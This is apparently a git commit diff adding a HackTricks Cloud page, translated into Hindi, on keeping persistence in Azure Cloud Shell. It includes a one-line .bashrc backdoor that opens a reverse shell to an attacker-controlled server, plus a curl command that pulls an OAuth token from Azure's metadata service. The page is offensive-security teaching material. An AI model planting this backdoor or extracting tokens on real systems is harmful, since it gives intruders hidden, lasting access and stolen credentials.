mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों का प्रबंधन किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
|
||||
|
||||
* **Persistent Storage**: Azure Cloud Shell का होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट किया गया है और सत्र समाप्त होने के बाद भी बरकरार रहता है।
|
||||
* **Startup Scripts**: फ़ाइलें जैसे .bashrc प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
यह बैकडोर उपयोगकर्ता द्वारा क्लाउड शेल समाप्त होने के 5 मिनट बाद भी कमांड निष्पादित कर सकता है।
|
||||
|
||||
इसके अतिरिक्त, उदाहरण विवरण और टोकन के लिए Azure की मेटाडेटा सेवा को क्वेरी करें:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
Reference in New Issue
Block a user